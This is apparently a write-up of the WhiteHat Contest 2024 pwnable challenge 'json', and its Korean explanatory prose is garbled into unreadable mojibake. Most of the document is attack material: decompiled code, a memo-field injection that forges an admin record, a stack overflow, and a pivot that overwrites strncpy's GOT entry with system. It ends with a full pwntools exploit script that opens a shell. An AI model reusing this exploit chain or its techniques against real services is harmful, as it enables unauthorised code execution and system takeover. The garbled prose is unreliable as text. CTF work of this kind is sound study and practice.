WhiteHat Contest 2024 - json
WhiteHat Contest 2024 pwnable challenge ์ด DB ํ์ผ์ ๊ธฐ๋ฐ์ผ๋ก ๋ฐํ๋ ์ธ์
์ ๋ํ ์ ๋ณด๊ฐ ์์ ๊ฐ์ ๊ตฌ์กฐ์ฒด ํ์์ผ๋ก ์ ์ฅ๋๋ค. ํ์ง๋ง ์ดํ ์ด์ ROP๋ง ์ํํ๋ฉด ๋๊ฒ ๋ค ์ถ์๋๋ฐ ์ ์ํ๊ฒ๋ ์ธ์๋ฅผ ์ค์ ํ ๊ฐ์ ฏ์ด ํ๋๋ ์์๋ค. ์ฒ์์๋ ์ฌ๊ธฐ์์ GOT overwrite๋ฅผ ์๊ฐํ๊ณ , 0x00. Introduction
[*] '/home/user/json'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000) Concept
init() ํจ์๋ฅผ ๋ณด๋ฉด ์คํ ๋๋ง๋ค /users/[random string]๋ผ๋ ์ด๋ฆ์ผ๋ก USER_FILE์ ์์ฑํด์ DB ํ์ผ๋ก ์ฌ์ฉํ๋ค. ์ต์ด์๋ user_base.bin ํ์ผ์ ์ฝ์ด์ ๊ทธ๋๋ก ์ ์ฅํ๋ฉฐ ๋ด์ฉ์ ๋ค์๊ณผ ๊ฐ๋ค.[2|guest|guest|guest memo] 2 : typeguest : userguest : passguest memo : memouser, pass๊ฐ ์ผ์นํ๋ฉด token์ ๋ฐํํด ์ธ์
์ ์์ฑํ๊ณ , ๊ทธ ์ ๋ณด๋ฅผ session ์ ์ญ๋ณ์์ ์ ์ฅํ๋ค. Structure
struct sess // sizeof=0x40
{
char user[16];
char pass[16];
char *memo;
__int64 type;
char token[16];
}; Goal
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
...
else if ( !strcmp((const char *)s, "UpdateMemo") && LOBYTE(session->type) == '1' )
{
update_memo();
}
...
}
char *update_memo()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
read(0, buf, 0x100uLL);
return strncpy((char *)session->memo, buf, 0x100uLL);
}type์ด 1์ผ ๊ฒฝ์ฐ update_memo()๋ฅผ ํธ์ถํ ์ ์๊ณ , ๊ทธ ์์์ BOF๊ฐ ๋ฐ์ํ๋ค. 0x01. Vulnerability
void __fastcall create_user(__int64 json)
{
...
stream = fopen(USER_FILE, "ab");
...
extract(json, "user", user, 16);
extract(json, "pass", pass, 16);
extract(json, "memo", memo, 256);
if ( *(_BYTE *)user && *(_BYTE *)pass && *(_BYTE *)memo )
{
fwrite("[", 1uLL, 1uLL, stream);
fwrite("2", 1uLL, 1uLL, stream);
fwrite("|", 1uLL, 1uLL, stream);
fwrite(user, 1uLL, 0x10uLL, stream);
fwrite("|", 1uLL, 1uLL, stream);
fwrite(pass, 1uLL, 0x10uLL, stream);
fwrite("|", 1uLL, 1uLL, stream);
fwrite(memo, 1uLL, 0x100uLL, stream);
fwrite("]\n", 1uLL, 2uLL, stream);
}
...
}create_user()์์ USER_FILE์ ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ ์ ์๋๋ฐ type์ด 2๊ฐ ๋๊ฒ๋ ํ๋์ฝ๋ฉ ๋์ด์๋ค.memo์ ๋ํ ๊ฒ์ฆ์ด ์์ด ๋ค์๊ณผ ๊ฐ์ด injection์ด ๊ฐ๋ฅํ๋ค.memo : AAAA]\n[1|admin|admin|admin memo[2|guest|guest|guest memo]
[2|AAAA|AAAA|AAAA]
[1|admin|admin|admin memo]admin/admin์ผ๋ก create_session()์ ํธ์ถํ๋ฉด type์ด '1'์ธ ์ธ์
์ด ์์ฑ๋๋ค. 0x02. Exploit
โ ROPgadget --binary=json | grep rdi
0x0000000000401406 : or dword ptr [rdi + 0x405108], edi ; jmp rax
0x0000000000401c76 : ror byte ptr [rdi], 0x85 ; retfupdate_memo()์ strncpy ์ข
๋ฃ ์์ ์ ๋ ์ง์คํฐ๋ฅผ ์ด์ฉํ๋ ค๊ณ ํ์ผ๋, session->memo์ ๋ ๋ถ๋ถ์ ๊ฐ๋ฆฌํค๊ณ ์์ด /bin/sh ๋ฑ์ ์ธ์๋ฅผ ๋ฃ์ด์ฃผ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด๋ณด์๋ค.system PLT๊ฐ ๊ดํ ์๋ ๊ฒ์ ์๋๊ฑฐ๋ผ๊ณ ์๊ฐํด์ update_memo()๋ฅผ assembly๋ก ์ดํด๋ณด์๋ค..text:0000000000402140 endbr64
.text:0000000000402144 push rbp
.text:0000000000402145 mov rbp, rsp
.text:0000000000402148 sub rsp, 10h
.text:000000000040214C lea rax, [rbp+buf]
.text:0000000000402150 mov edx, 100h ; nbytes
.text:0000000000402155 mov rsi, rax ; buf
.text:0000000000402158 mov edi, 0 ; fd
.text:000000000040215D call _read
.text:0000000000402162 mov rax, cs:session
.text:0000000000402169 mov rax, [rax+20h]
.text:000000000040216D lea rcx, [rbp+buf]
.text:0000000000402171 mov edx, 100h ; n
.text:0000000000402176 mov rsi, rcx ; src
.text:0000000000402179 mov rdi, rax ; dest
.text:000000000040217C call _strncpy
.text:0000000000402181 nop
.text:0000000000402182 leave
.text:0000000000402183 retnread์ ์ธ์์ธ rsi๊ฐ rbp๋ฅผ ํตํด ์ค์ ๋๋๋ฐ, BOF๋ฅผ ํตํด rbp๋ ์ผ๋ง๋ ์ง ์ปจํธ๋กค ํ ์ ์์ผ๋ฏ๋ก AAW๋ ๊ฐ๋ฅํ ์ํฉ์ด๋ค.strncpy์ rdi๊ฐ session->memo๋ก ์ค์ ๋๋ ๊ฒ์ ์ด์ฉํ์ฌ ๋ฏธ๋ฆฌ /bin/sh๋ฅผ ๋ฃ์ด๋๋ฉด ์ ์คํ์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ํ๋จํ๋ค. read_strncpy_gadget = 0x40214C
payload = b"/bin/sh\n" * 2
payload += p64(elf.got['strncpy'] + 0x10) # rbp
payload += p64(read_strncpy_gadget) # ret
update_memo(s, token, payload)
sleep(0.5)
payload = p64(0x4010a0) # system
s.send(payload) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "json"
LIBRARY = "libc.so.6"
CONTAINER = "f0268ff749ca"
code_base = 0x555555554000
bp = {
'main' : code_base + 0x16ae,
}
gs = f'''
b *update_memo
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def create_session(s, user, pw):
json = f"{{method:CreateSession,user:{user},pass:{pw}}}"
s.send(json.encode())
return s.recvuntil(b"}\n")
def clear_session(s):
json = f"{{method:ClearSession}}"
s.send(json.encode())
return
def create_user(s, token, user, pw, memo):
json = f"{{token:{token},method:CreateUser,user:{user},pass:{pw},memo:{memo}}}"
s.send(json.encode())
return
def check_user(s, token):
json = f"{{token:{token},method:CheckUser}}"
s.send(json.encode())
return s.recvuntil(b"}\n")
def update_memo(s, token, payload):
json = f"{{token:{token},method:UpdateMemo}}"
s.send(json.encode())
pause()
s.send(payload)
return
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
token = create_session(s, "guest", "guest").split(b"token:")[1].split(b"}")[0].decode()
log.info(f"guest token : {token}")
create_user(s, token, "AAAA", "AAAA", "AAAA]\n[1|admin|admin|admin memo")
clear_session(s)
sleep(0.5)
token = create_session(s, "admin", "admin").split(b"token:")[1].split(b"}")[0].decode()
log.info(f"admin token : {token}")
read_strncpy_gadget = 0x40214C
payload = b"/bin/sh\n" * 2
payload += p64(elf.got['strncpy'] + 0x10) # rbp
payload += p64(read_strncpy_gadget) # ret
update_memo(s, token, payload)
sleep(0.5)
payload = p64(0x4010a0) # system
s.send(payload)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)